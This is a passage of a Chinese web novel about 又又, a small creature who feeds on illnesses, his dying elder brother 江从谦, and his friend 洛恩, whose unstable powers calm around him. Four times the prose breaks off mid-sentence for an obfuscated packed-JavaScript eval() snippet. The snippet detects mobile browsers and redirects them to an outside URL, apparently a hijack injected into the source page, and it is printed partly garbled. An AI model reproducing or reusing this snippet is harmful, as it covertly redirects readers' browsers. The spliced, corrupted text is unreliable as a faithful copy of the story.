明明在来的路上,他已经预想过无数种可能,也提前预演了自己该说的话,但此刻竟然只能挤出一句干巴巴的:“又又,我是哥哥。” 又又有些好奇。 食病兽都是由帝山孕育而生,彼此共享生命本源。 他们之间并没有血缘关系,自然也就没有父母、兄弟姐妹的概念。 江从谦也注意到了又又的目光。 他以为又又是好奇两人截然不同的外表。 又又栗发绿眸,而他却是黑发灰眸,五官上也没有相似之处。 他便解释道:“我们是同父同母的亲兄弟,之所以长得不太像,是因为我长得像父亲,而你长得比较像母亲。” “哦。”又又应了一声,也不是很在意。 江从谦见又又不排斥他,那颗悬在半空的心慢慢放了下来,也恢复了往日的模样。 他伸手想要牵着又又离开。 又又眼珠子一转,却张开手:“要抱抱!” 江从谦愣住,慢了半拍才小心将又又抱起来。 小身体软软地靠在他的手臂上,轻的仿佛没有重量般。 颈侧被毛茸茸的发丝擦过,泛着细细的痒。 又又环着江从谦的脖颈,满足地偷吃了一大口。 江从谦虽然表情淡定,但其实整个身体都僵硬了,走路都快同手同脚了。 他只觉得身体格外轻松,连先前隐隐抽痛的头,这会都不疼了。 不远处的莫伦心中泛起淡淡酸意:“不愧是亲兄弟啊,天然就亲近……” 他都照顾又又多少天了,也没有这待遇呢。 洛恩看着两人亲密的样子,心里也有点不是滋味。 是啊,他们才是亲兄弟。 他和又又只是今天刚刚认识的……朋友。 洛恩落寞地垂下眼睛,操纵着轮椅准备离开,却忽然听见身后传来又又的声音:“洛恩!” 他停住,回头看去。 又又笑眯眯地朝他挥了挥手:“我们明天见呀~” 洛恩愣住,原本低落的心情瞬间就变好了。 他下意识露出笑容,朝又又挥挥手:“嗯,明天见!” 因为这句话,他原本无比厌恶的明天也仿佛充满了期待。 又又很满意。 这样他明天的食物也有着落了啦。 他可真是太聪明了! 江从谦微皱了一下眉头,但很快又淡然松开。 又又只是年纪小,又在非正常的环境里长大,所以才会对刚认识的朋友这样亲近。 小孩子忘性大。 等他们回了家,时间一长,他自然就会忘掉洛恩的。 - 洛恩回到病房,就看到自己的主治医生罗德尼满头大汗地赶过来。 罗德尼也是刚刚才知道,洛恩竟然和江元帅的小儿子待在一块,顿时惊出了一身冷汗。 他受雇于法雷佐家族,不仅是给洛恩治疗,其实也是他的临时监护人。 罗德尼也没什么野心,不求有功但求无过。 洛恩是个很省心的孩子,平时也不爱跟人打交道,大部分时间都待在病房里,偶尔去小花园里走走,也都是避着人的。 罗德尼也就随他去了,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921567|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有特意管束他。 可他怎么都没想到,就是自己这么一放松,竟然惹出了这样的事情。 他简直不敢想象,万一洛恩发病,异能失控,把江元帅的小儿子给弄伤了怎么办? 外人不清楚,但罗德尼身处法雷佐这样的大家族却是知道的。 当年江元帅被政敌报复,小儿子被星盗劫走,这些年江家不计代价地寻找他,九大星系周边的星盗团们几乎都被犁了一遍。 如今好不容易把人找到,可不得看得跟眼珠子似的。 尤其他还听说,来接那位小少爷的,还是江从谦。 他名下的九壤集团,生意遍布九大星系。 便是法雷佐家族的族长面对他,都恭恭敬敬的,更别说他们这种小喽啰了。 别的不说,那艘走私舰上的星盗们,几乎每一个都被判了最重的刑期,还被送往最危险的监狱。 能做到这一切的,除了江从谦就没别人了。 他要想要对付他们,容易得就像捏死两只小虫子。 罗德尼原本想要责怪洛恩几句,可是话到嘴边又咽了下去。 这孩子也是个可怜的。 小小年纪生了病,亲爹不管,家族放弃,被丢到这么偏远的地方。 他叹了口气,只能劝道:“算了,以后我们离江小少爷远一点就好了。” 谁知洛恩却摇摇头,并且对他说:“罗德尼医生,你能给我佩戴阻抑环吗?” 罗德尼震惊:“你说什么?” 洛恩神情平静:“我说,我想要佩戴阻抑环。” 罗德尼忍不住道:“你知道阻抑环是什么吗?好端端的干嘛要自讨苦吃?” 罗德尼好说歹说,洛恩都是铁了心的要戴。 眼见劝不动他,罗德尼也只能无奈地去拿了一个阻抑环过来。 阻抑环是个半圆形状,环住后脑,两端则扣在太阳穴的位置。 佩戴好之后,阻抑环内侧的感应装置会与异能源相连,随时监测异能的波动,一旦波动数据异常超过临界值,就会进行电击。 洛恩感受着冰冷的金属制物贴在皮肤上,手指下意识攥紧轮椅扶手。 虽然已经做好了心理准备,但他还是会害怕。 罗德尼有些心软:“要不,别戴了吧。” “不。”洛恩固执地拒绝。 罗德尼只能无奈地继续佩戴,并且拿了止疼针,一会洛恩忍受不了的话,就给他注射。 然而,阻抑环戴上后,却什么都没发生。 罗德尼打开监测数据:“咦……” 洛恩正紧张着,听见他的话心头就是一惊:“怎么了?” 罗德尼一脸茫然地将监测数据拿给他看。 洛恩看到后也愣住了。 自从患病以来,他的异能波动一直起伏剧烈。 而今天,他情绪大起大落,但异能波动却异常平稳,甚至……就像一个没有生病的正常人一样。 罗德尼迟疑道:“可能是这个阻抑环的型号有点旧了,我去拿一个最新的型号。” 没多久,罗德尼就把新型号阻抑环拿来了。 给洛恩戴上之后,看到上面显示的数值,两人面面相觑,不约而同沉默了。 随后罗德尼才如梦初醒般跳起来:“快!我先带你去做个详细的检查!” 5. 第 5 章 检查结果很快就出来了。 罗德尼仔仔细细地把结果看了三四遍。 在洛恩再三催促下,他才神情恍惚道:“阻抑环的监测没有问题,你的异能波动很稳定……” 洛恩愣住了。 罗德尼口中蹦出一连串的专业术语,整个人手舞足蹈,狂热地对洛恩说道:“在此之前,从未有过失控的异能重新恢复正常的情况,这……这是奇迹!!” “奇迹……” 洛恩头脑一片空白,心脏却跳得非常快,痛苦、期待、惧怕……无数情绪蜂拥而来。 换做往常,他情绪起伏这么剧烈,早就发病了。 可今天他不仅没有发病,甚至感觉到那些往日躁动的异能都无比乖顺。 洛恩患病已经有一年多了。 如果说一开始他还抱有某种不切实际的幻想,也在一次次检查后逐渐失望,接受现实。 罗德尼曾告诉他,异能失控症的治愈率微乎其微,几乎等同于无法治愈。 异能的失控没有规律,无法预防。 这就像是个不定时的炸弹,说不定什么时候就“砰”的一声炸掉了。 洛恩能做的,只有穿着丑陋笨重的束缚服,远离人群,尽量让这个炸弹不要伤害到别人。 他从来没想过自己还有治愈,重新回到正常生活的一天。 或许是失望了太多次,洛恩反倒比罗德尼先冷静下来:“或许只是暂时的现象,多观察几天再说吧。” “对对对。”罗德尼也从狂热中醒过神,“我还得记录一下你这两天都做了什么,接触了什么,说不定就能找到你恢复的关键!” 洛恩点点头,一件件开始回忆。 他的日常非常单调,和以往并没有什么区别。 一定要说的话,应该就是今天认识了又又。 洛恩微微一怔。 想到又又那句诚恳的“洛恩,你的病会好的。”,他的心又泛起阵阵暖流。 或许就像罗德尼医生说的那样,是一个奇迹吧。 明天就能和又又见面了。 他后知后觉地想到,如果他不再发病的话,那就能和又又一直待在一起了。 - 被洛恩惦记的又又此刻正在大哥江从谦的星舰上。 江从谦的星舰名为“九壤号”,是一艘方舟级星舰,整个中央联邦都不到10艘。 又又一走进去,就被震撼到了。 星舰一共分为驾驶区、生活区、办公区、娱乐区等不同区域。 装修风格并不花哨,像江从谦这个人一样,带着几分冷淡。 但在每个小细节上,都能体现出低调的奢华。 又又一进入娱乐区,就迈不动脚步了。 刚出山的小幼崽从没见过这么多好玩的东西,但他也没有忘记让哥哥陪他一起。 吃和玩,贪心的小幼崽全都要。 江从谦迟疑了片刻。 他还是孩子的时候,就已经不玩这种幼稚的游戏了。 可看着弟弟满眼的渴望,他到底还是没能狠下心。 于是,星舰上的工作人员就看到自家那个工作狂老板,竟第一次放下了工作,好脾气地陪着弟弟一起玩游戏。 甚至为了配合弟弟的水平,还使用异能不动声色地放水,就为了让小幼崽玩得开心。 又又一边吃一边玩,简直是不亦乐乎。 只是小幼崽身体弱,没过一会就困了。 江从谦见状,便将他抱起来,送回房间休息。 小幼崽眼睛都快睁不开了,却还不忘记提醒江从谦:“哥哥,明天早点叫我起床,我还要去见洛恩ZZZ” 江从谦眉头微皱,没想到他困成这样居然也没忘了要见洛恩的事情。 他将又又放进被子里,又仔细地掖好。 又又脸蛋睡得红红的,拳头握着放在颊侧,发出细细的鼾声。 江从谦看着他的睡颜,原本的打算有些微动摇。 等到他走出房间,重新回到工作区。 助理走过来,将一份止疼药递给他。 江从谦愣了一下。 忽然意识到自己今天竟然还没有吃药。 他为了尽快赶到埃米尔星区,毫不吝惜地使用异能。 按理来说,他的病会发作得比之前更厉害,但实际上他见到又又后,不仅没有像之前那样头疼欲裂,甚至,疼痛还隐隐减轻了些。 但,这可不是好征兆。 异能崩坏症到了末期,因为异能崩溃流失,反而会出现疼痛偶尔减少的情况。 意识到自己病情加重,江从谦脑海中一瞬间划过无数念头。 最终,他闭了闭眼,下定决心。 “设定航程,即刻回中央星系。” 助理愣住,迟疑着开口提醒:“先生,小少爷不是说明早要去见朋友……” 可随即,他就在江从谦的目光之下闭了嘴。 江从谦淡淡道:“回中央星系后,又又会有很多朋友的。” - 又又醒来的时候,已经是第二天上午了。 他头顶翘着一缕呆毛,懵懂地在床上坐了好一会,才爬下床去洗漱。 等到他洗漱完,打开门就看到哥哥站在门口。 江从谦努力露出亲和的微笑:“又又,早上好。” 又又张开双手:“哥哥抱~” 江从谦神色一紧。 昨天抱弟弟的僵硬还历历在目,简直算得上他人生之耻。 他昨晚回去后特意找了教程,连夜练习抱小孩。 现在,就是验证练习成果的时候了。 他在心里又过了一遍教程要点,然后伸手托住又又的腋下,将他抱起后,一手托住他的小屁屁,一手护住他的后背,一次成功! 江从谦暗暗松了口气,后背都有些冒汗。 这简直比谈星球并购案还要艰难。 又又浑然不知,熟练地环住江从谦的脖子,居高临下地被带到了餐厅。 桌上的餐点一改往日的简洁效率,换成了小朋友爱吃的食物,甚至连造型都是可可爱爱的。 然而又又只看了一眼,便又把头埋回了江从谦的颈窝。 江从谦拿起一只小猪造型的奶黄包递到又又面前,谁知又又只是抿着嘴摇头,他又拿了一块奶糕,又又也依旧是摇头,看起来完全不感兴趣的样子。 江从谦心中疑惑。 又又之前过得那么苦,按理来说不应该挑食的。 “又又,这里的东西都不喜欢吗?” 又又歪着头,却是抱着他,软软地“啊呜”一口:“喜欢哥哥!” 江从谦的心瞬间软了下来。 “没关系,哥哥喂你。” 江从谦拿起勺子,舀了一勺食物,生疏地喂起弟弟。 这是奶霜果打成的果泥,入口甜香,还带着淡淡的奶味,很受小朋友的喜欢。 又又吃了一口,意外的好吃。 虽然比不上吞噬疾病带来的精神饱足,但也很不错了。 于是,又又吃一口哥哥喂的食物,又抱一下哥哥。 江从谦看他吃得那么开心,总算是放下心来,但随之而来的就是心疼。 他想,也许不是又又挑食,而是他自小受苦,没吃过也没见过这些食物,所以才不吃的。 两人一个喂一个吃,饭桌上满是温馨的氛围。 江从谦见他没有提起洛恩,暗暗松了口气。 小孩子果然忘性大,一会吃完饭,再带他去玩一会游戏,肯定就彻底忘记这件事了…… 又又这个早餐吃得十分满足。 吃完正餐,接着就可以吃小甜品了。 他仰着头问:“哥哥,我们什么时候去找洛恩啊?” 江从谦:“……” 他不露声色道:“又又,要去娱乐区玩吗?哥哥把你喜欢的那个游戏买了。” 又又摇摇头:“先去找洛恩。” 江从谦又找了别的借口。 可不管他怎么说,又又都坚定地摇头:“要先去找洛恩。” 江从谦没辙了,蹲下来,扶着又又的肩膀说道:“又又,我们已经离开埃米尔星区了,没有办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921568|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法去找洛恩了。” 又又一怔。 江从谦揉了揉他的头发:“又又,等我们回到家,那里有很多和你同龄的小朋友,你会有认识比洛恩更好的朋友的。” 又又这才明白过来。 哥哥昨天答应要让他见洛恩的,可他骗了自己。 江从谦被那双纯澈的眼睛看着,心中不由得生出愧疚,可想到自己命不久矣,到底还是硬起心肠:“又又,洛恩生了病,和他在一起玩,你会受伤的。乖,听话。” 原来这就是哥哥不让他见洛恩的理由吗? 如果是这样,说不定以后在哥哥的管辖下,他也吃不到其他什么病了…… 又又越想越觉得委屈,嘴巴一扁,豆大的眼泪瞬间滚了下来。 他也不出声,就这么孤零零地站在原地。 那双漂亮的绿色眼睛雾蒙蒙的,很快就蓄满了泪,睫毛眨了眨,一大颗眼泪就滚了下来。 没一会功夫,便哭得眼睛鼻头都红了,整个人一抽一抽的。 江从谦怎么劝都没有用。 从乌姆星系回中央星系路程遥远,为了让又又不难受,必然不可能如同来时那样连续跃迁,回去的路程恐怕要增加两三倍。 他的身体也不知道还能支撑多久,得在那之前把又又送回安全的地方,把他的一切都安排好才行…… 而且小孩子是不能娇惯的,不能因为又又哭就同意他的要求,这会给他错误的信号…… 江从谦在脑子里拼命地说服自己,然而一张口却是:“改道,重新回埃米尔星区。” 助理:“……” 老板向来说一不二,这还是他第一次看他妥协呢! 不愧是小少爷! - 惦记着和又又见面,洛恩一早就起床了,熟练地穿好束缚服,又催促罗德尼给他戴上阻抑环。 罗德尼见他兴致勃勃的样子,实在是不忍心告诉他真相,最后被他催得没办法,才开口道:“洛恩,你今天见不到江小少爷了。” 洛恩愣住:“为什么?” 罗德尼叹了口气:“江先生的星舰昨晚就离开埃米尔星区了。” 洛恩用了几秒钟才消化了这个事实,却仍旧固执地摇头:“不会的,又又跟我约好今天见的。” 罗德尼只能残忍地打破他的幻想:“你们昨天才认识,江小少爷不会为了一个认识才一天的朋友,违背亲哥哥的。” “不会的!又又不是这样的人!”洛恩抿紧嘴唇,红眸像是燃烧一般,决不许罗德尼污蔑他的朋友。 眼见劝不动,罗德尼也只能放弃。 洛恩独自坐在小花园里,手指紧紧地攥着一个星球的模型,那是他家乡的模型,是他最珍视的东西,他昨晚回去就决定要送给又又的礼物。 可是他从日升等到日落,也没有等到朋友出现。 罗德尼来劝了几回,他都不肯回去。 只是随着夜色渐浓,红眸里燃烧的火焰却也渐渐黯淡下去。 他攥着模型的手指都僵硬了,关节处泛着白。 一个不小心,手中的模型掉在了地上,裂成了几块。 洛恩怔怔地看着碎裂的模型。 他想,又又不会来了。 就像罗德尼说的,他们才认识一天而已。 把又又当成朋友只是他的一厢情愿。 就像是……他再也回不去家乡那颗星球一样。 夜色渐深。 洛恩也仿佛沉入了这片阴影中。 他想到他刚得病的时候,曾经的朋友也都是这样一个个离开他。 洛恩倔强地抿紧嘴,弯下腰将碎裂的模型一点点都捡起来。 没关系,大不了又是一个人。 反正…… 他也早都习惯了。 可就在这时,他忽然听见头顶传来熟悉的声音。 “洛恩!” 洛恩怔怔地抬起头,就看到头顶有一架小型飞行器朝他的方向飞来。 又又钻出窗户,拼命地朝他招手。 夜色里,他像一颗星星朝他而来。 6. 第 6 章 直到又又从飞行器上下来,握住了洛恩的手,他都还有些没回过神。 他看着又又头顶被风吹得乱七八糟的头发,有些愣愣地说道:“我以为你不会来了……” “我们约好了呀!”又又瞪圆了眼睛,却还不忘偷摸吃一口“小甜点”。 洛恩原本心里闷闷的,异能也有了些微的波动,但此刻看到又又后,一点不舒服的感觉都没有了,他的异能又恢复到了乖顺的状态。 两小只贴在一起亲亲蜜蜜的,似乎有说不完的话。 江从谦从一下飞行器就警惕地盯着洛恩,就怕他突然发病,伤到又又。 可他随即就看见洛恩头上戴着的阻抑环,顿时愣住了。 他记得洛恩之前是只穿了束缚服的,那他是为了谁戴上阻抑环的,不言而喻。 这让江从谦放缓了神情,也不再像之前那样防着洛恩。 这时,又又牵着洛恩跑过来:“哥哥~” 江从谦:“什么事?” 又又:“哥哥,我们能在这里住几天吗?” 江从谦眉头跳了一下:“因为洛恩?” 又又点点头。 毕竟他现在可不是之前饿得只能啃肠胃炎的可怜小兽了。 再好吃的东西,每天只吃一种也是会腻的! 江从谦没说话。 又又想到之前住院的时候,对莫伦医生百试百灵的那几招,当即决定在哥哥身上试试。 于是他抓住江从谦的衣角,可怜兮兮地看着他:“哥哥你答应我吧,哥哥求求你了……” 小幼崽的声音软乎乎的,大眼睛布灵布灵地看着他,实在让人很难拒绝。 江从谦闭了闭眼,试图抵挡。 他是一个成熟的大人,不能感情用事,要理智…… 同样的招数不可能对他使用第二次…… 就算是撒娇也…… “好,再多住几天。” 又又拉着洛恩欢呼:“好耶!” 江从谦:“……” 他只能默默安慰自己。 没关系,弟弟是需要朋友的。 他只是为了弟弟的身心健康考虑,弟弟那么乖巧,提的又不是什么杀人放火的要求,宠他一下怎么了? 得到了江从谦的准许,洛恩紧张的心情也放松了下来。 这时,他的肚子忽然发出“咕噜咕噜”的声音。 他今天在小花园等了一天,罗德尼叫他去吃饭也没去,这会放松下来,肚子也跟着饿了。 洛恩下意识捂住肚子,羞红了脸。 又又连忙从口袋里掏出几袋小零食,通通塞进洛恩怀里:“洛恩,你吃!” 见洛恩不好意思,又又便学着哥哥那样,拿零食喂他。 面对着又又热切的眼神,洛恩莫名有种“养肥了吃”的感觉,但他很快又摇摇头,让自己不要胡思乱想。 等到吃完零食,他才想到自己给又又准备的礼物:“又又,我有东西送给你……” 可是拿出来,他才意识到那个模型已经摔坏了,顿时慌乱地要把东西收回去。 又又正好打了个饱嗝。 吃饱喝足,就想玩点啥,可惜玩具都放在星舰上。 而就在这时,他看到了洛恩手中的星球模型。 模型摔得很厉害,已经裂成了五六块,里面还有不少细小的零件也散落开了,看着十分凄惨。 洛恩又急又慌,担心又又误会,连忙解释:“又又,我不是故意的,我本来……” 谁知,又又双眼晶亮,兴高采烈地问道:“洛恩,这是拼装模型对吧!” 洛恩:“……啊?” 又又昨天在星舰上,就跟哥哥合力拼了一个小模型,正是非常感兴趣的时候,当即就拉着洛恩一起,要把这个模型给拼起来。 洛恩怔怔地看着又又将那些裂开的模型碎片一点点复原,变回了他熟悉的样子。 他那颗支离破碎的心脏,也仿佛被他一点点拼好、复原。 模型已经彻底裂开,虽然他们尽力把模型拼合,但上面依然有无数裂痕。 洛恩按下开关,随着星球缓缓转动起来,一圈漂亮的如火焰般的光晕浮现在星球上方。 又又睁大眼睛:“哇!” 他还从来没有玩过这样的玩具,顿时有些好奇地触碰了一下那一圈星环,“咦?凉凉的。” 洛恩笑起来:“我第一次看到的时候,也跟你一样。” 他的脸上浮现出淡淡的怀念,“这是我妈妈去世前送我的礼物,是我的家乡洛伊提斯,可惜我再也回不去了……” 家乡? 又又想起诞生后,被长老抱在怀里,细心地带他走遍整个帝山。 食病兽诞生后,就会一直在帝山生活。 等到长大后离开帝山,直到生命尽头才能再次回归。 可又又还没长大就穿越了,也不知道这辈子还能不能再回到帝山。 还有长老们…… 丽妲长老最疼爱他,找不到他之后不知道会有多担心。 曜长老虽然凶凶的,但其实心肠最软,每次他犯错,他都只是口头教训,从来不真的惩罚他。 还有雩里长老,上次还答应带自己偷偷离开帝山去玩…… 又又越想越难过,平时总是笑着的眼睛不自觉垂了下来,眼眶里又蓄满了泪水。 洛恩顿时意识到自己说错了话。 又又自小就被星盗掳走,之后别说是家乡了,他甚至再也没有见过爸妈。 他当即慌了,连忙转移话题:“又又,如果我病好了,我们就去洛伊提斯玩吧,洛伊提斯的日落最漂亮了,星环就像是一条火焰瀑布,从天上一直落到地上……” 又又吸了吸鼻子,软软地应了声好。 却不想,这一幕被一旁的江从谦看到了。 江从谦只觉得心脏钝钝的疼。 又又应该也是想到妈妈了吧。 他对自己如此依赖,应该是渴望亲人吧。 自从妈妈去世后,他们家就变得四分五裂。 他和弟弟妹妹纷纷离开家,已经很久都没有再联系了。 江从谦不是不想联系他们,只是每次联络,彼此都没什么话说。 江从谦知道,他们已经长大了,不再需要他这个哥哥了。 可是又又不一样。 他还这么小,又没有异能,需要好好照顾才能长大。 之前江从谦想着,自己可以照顾好又又,两年的时间,足够他给又又安排好无忧无虑的一生。 因而,他并没有将找到又又的消息告诉其他家人。 可如今,他病情发生变化,不知道还能坚持多久。 而且又又还这么渴求亲人,让他不禁有些后悔自己的独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921569|192570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断。 他犹豫片刻,最终还是拿出通讯器,拨打了一个通讯号码。 谁知刚刚拨通,里面就传来一个冷冰冰的女声:“这里是联盟第七军团少将江昭晏,目前正处于电磁静默状态,非紧急军务请转指挥部加密频道。” 江从谦暗暗叹了口气,转而又拨打了弟弟江见微的通讯号。 这一次直接就是没人接。 江从谦:“……” 要是换了往常,他估计就算了。 但事关又又,他只能忍耐着,给两人分别留言。 至于父亲江砺。 江从谦毫不犹豫地忽略了这个选项。 - 接下来几天,又又每天的行程就变成—— 早上醒来抱着哥哥吃一顿“早餐”。 吃完之后就去找洛恩,连吃带玩一上午。 中午睡个午觉,下午根据心情去找哥哥或者洛恩,或者抽空去看看莫伦医生,莫伦医生喜欢尝试新奇美食,时不时就能蹦出点新病症,好比随机刷新的路边小摊,总是让又又充满惊喜。 不过这样的日子没过两天,江从谦忽然变得忙碌起来。 又又都连续两天早上没看到他了,就算看到了,也只是匆匆见一面,他就又要去忙。 好好的正餐,都变成甜点了。 又又自然不乐意,又是撒娇,又是装哭。 江从谦虽然愧疚自己忽视了弟弟,可是事有轻重缓急,只能暂时委屈他一下。 又又握紧拳头,觉得不能这样。 哥哥不来找他,但他可以去找哥哥! 恰好洛恩去进行例行检查,又又当即便决定,现在去找哥哥,把这几天的正餐给补回来。 九壤号非常大,江从谦不喜欢人太多,星舰上只有必要的工作人员和卫队,因而显得十分空旷。 又又从自己房间一路朝工作区走去,走得脚都酸了。 然而一进去就傻眼了。 工作区房间众多,他也不知道江从谦在哪间。 难道要一间一间慢慢找吗? 就在又又苦恼的时候,忽然鼻尖微微一动。 他闻到空气中有一丝淡淡的香气。 是哥哥的病!! 又又眼睛一亮,立刻嗅着香气找了过去。 工作区的某间房内,江从谦脸色涨红,额头上青筋毕现,如同一只只蚯蚓在皮下翻滚攀爬,剧烈的疼痛令他神情扭曲狰狞。 冷汗淋漓,浑身像是从水里捞出来一般。 他今天原本想早点完成工作,回去陪弟弟吃晚餐。 弟弟虽然乖巧却十分粘人,这几天没有他陪着,连饭都比往常少吃了许多。 可他没想到自己会突然发病,更重要的是,他发现自己没有带止疼药。 最近他发病频次变少,加上忙昏了头,就忘了带止疼药。 以往这些小事还有助理提醒,但最近助理也被他支使得脚不沾地,也就把这件事给忘了。 江从谦咬紧牙关,想要呼叫助理。 可是疼痛让他根本无法开口,他抬手想要去碰通讯器,谁知身体竟然从椅子上滚落,重重地摔在地上。 疼痛如同海浪般一波又一波,他的理智就像是在一艘小船,在滔天巨浪中根本无法维持。 在恍惚间,他只听到房门被打开,似乎有一道小小的身影走了进来。 7. 第 7 章 又又顺着香味,走到了最里面的一间房前。 房门并没有完全关紧。 又又走上前去,浓郁到极致的香气让他眼睛都有些发晕。 他推开房门,就看到倒在地上的哥哥。 此刻的江从谦完全没了往日的冷静从容,一丝不苟的衬衣皱成一团,紧贴着他不时因剧痛而痉挛的背部,昂贵的面料被冷汗浸湿,甚至将身下的地毯都晕出深色的痕迹。 椅子倒在一旁,桌上的设备和文件洒落一地,有不少都砸在了他身上,但他似乎已经无力去顾及了。 又又连忙走上前,小小的手掌贴在哥哥的脸颊上。 掌心贴着的皮肤上全是冷汗,以及因疼痛引发的肌肉颤动。 一定很疼吧! 哥哥真是太可怜了!! 又又表情严肃地握拳,他一定要帮助哥哥! 但下一秒,极致的美味进入身体。 又又幸福地眯起眼睛:呜……好香好香…… 唉,还是先吃饱再说吧。 随着他不断吸食江从谦身上的病,原本翻涌鼓动的青筋渐渐平复下来,江从谦紧皱的眉头也渐渐舒展开。 江从谦只觉得自己的身体仿佛飘了起来,原本刺骨的疼痛似乎被什么带走了。 他好像又回到了还没有得病的时候,头脑清醒,没有一丝疼痛,异能如臂指使,没有限制。 这是在做梦吧。 他有些自嘲地想着。 毕竟他得病已经十年了,早已习惯和疼痛共处。 疼痛是常态,不疼才奇怪。 可是即便是做梦,这个梦也太过美好了。 难道是自己已经死了吗? 不! 不行! 他还有很多事情没有做完。 又又还没有送回家,他的事情也还没有安排好。 他不能死! 至少现在不能! 他的意志力顽强地和这股让人沉溺的舒适争斗,努力扯开眼皮。 迷迷糊糊间,却看到心心念念的弟弟在他面前,忙忙碌碌的不知道在做什么。 看到又又后,他紧绷的心脏瞬间放松。 随后再也支撑不住,被彻底拖入沉睡中。 …… 等到吃完病症,又又打了个大大的饱嗝,随即便是浓重的困意袭来。 他原本想直接回去睡觉,但看到躺在地上的哥哥,不想让哥哥睡在硬邦邦的地板上,想把他拖到床上去。 可他高估了自己的力量,使出了吃奶的劲都没能把江从谦拖动一下。 撑得晕乎乎的小幼崽思考了一会,决定去找人来帮忙。 他晃晃悠悠地走出办公区,正好撞上匆忙赶回来的助理。 “小少爷,你怎么在这里?” 助理今天去埃米尔星区政务厅办事,谁知回来的时候,悬浮车和人撞了,受了点轻伤。 他便回来包扎,谁知就看到又又迷迷糊糊地往外走。 他上前把小幼崽抱起来。 又又:唔!是吃的! 虽然刚吃完大餐,但小菜也不能浪费! 只是吃完后,原本就撑得厉害的小幼崽更晕乎了。 助理只觉得脖子间毛茸茸的,低头才发现小幼崽的脑袋拱在他脖颈间,小嘴砸吧砸吧,不知道是不是梦到了什么好吃的。 他被萌得心肝直颤。 难怪平时英明神武的老板一见小少爷就成了毫无原则的弟控,他要是有这么可爱的弟弟,也恨不得百依百顺,把全世界最好的东西给他。 他把又又放回他的小床。 又又抱着小玩偶,迷迷糊糊地觉得自己好像忘掉了什么。 可是实在没能敌得过困意,一翻身便呼呼大睡过去。 - 夜幕降临,躺在地上的江从谦动了动身体,慢慢睁开了眼睛。 长久以来,因为疼痛,他的睡眠一直很糟糕。 可刚刚他却收获了这么久以来,极致舒适的一场睡眠。 疲惫的大脑仿佛做了一场深层次的按摩,感觉到前所未有的放松,连带着身体也都轻盈了几分。 说实话,要不是看着眼前一片狼藉,他几乎以为发病晕倒只是自己的幻觉。 他慢慢地爬起来。 身上的衬衣已经皱巴巴的不能看了,再加上被汗水浸湿又晾干,黏黏糊糊的很不舒服。 文件更是洒落一地,乱糟糟的。 不过他现在却无心想这些,而是忽然回想起自己晕倒后,迷迷糊糊间,好像看见了又又。 这也是幻觉吗? 他心下一紧,连忙走到又又的房间。 一进去,就看到又又睡得正香。 四仰八叉地躺在床中央,被子只盖了半截,露出肉乎乎的手脚。 脸蛋更是红扑扑的,还打着细小的呼噜。 江从谦看了眼床头的身体监控数据,发现一切正常,提着心顿时放了下来。 他细致地将又又汗湿的额发捋开,又给他盖好被子,才熄了灯走出来。 只是一走出来,他的脸上便闪过一丝忧虑。 已经出现幻觉了,看来他的病真是越来越严重了。 他的病需要专业的设备进行检测,埃米尔星区太偏僻,缺乏相应的设备和医生。 当然,就算有设备,他也不可能在这边检查的。 九壤集团是他一手创立,一旦他的身体出现问题,势必引起集团动荡,引发一系列的麻烦。 因而,他得病的消息,除了乐清沅、助理和几个亲信之外,便没人知道了。 想到这里,他立刻联系乐清沅。 乐清沅原本也是担心他病情加重,可是接通通讯,看着面前的好友,他顿时迟疑了。 “你的意思是,你病情……加重了?” “对。”江从谦冷静地把自己最近的症状都说了一遍。 乐清沅:“……” 他仔细打量着江从谦的脸色和身体。 作为江从谦的主治医生,他简直比江从谦还要熟悉他的身体。 可此刻,江从谦的脸颊不复以往的苍白,还泛起了一丝红晕,眼下的青黑也消退了许多,看着简直比他这刚熬夜做完研究的人还要健康。 还有,江从谦以往会因为疼痛,下意识绷紧肩背肌肉,但此刻他肩背放松,整个人看起来极为轻松。 身体状况是不会骗人的。 乐清沅斟酌着问道:“你说,你最近疼痛的频率变少了?还出现了幻觉?什么幻觉?” 江从谦迟疑道:“我觉得大脑很舒服,完全不疼了,异能使用也很顺畅……” 乐清沅:“……” 这是什么见鬼的幻觉?! 这不是病情变轻的征兆吗? 江从谦神情沉重:“我记得你说过,异能崩坏症末期,疼痛频率会降低,会逐渐视力模糊、耳鸣、出现幻觉。” 乐清沅:“话是这样没错……” 但疼痛频率降低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 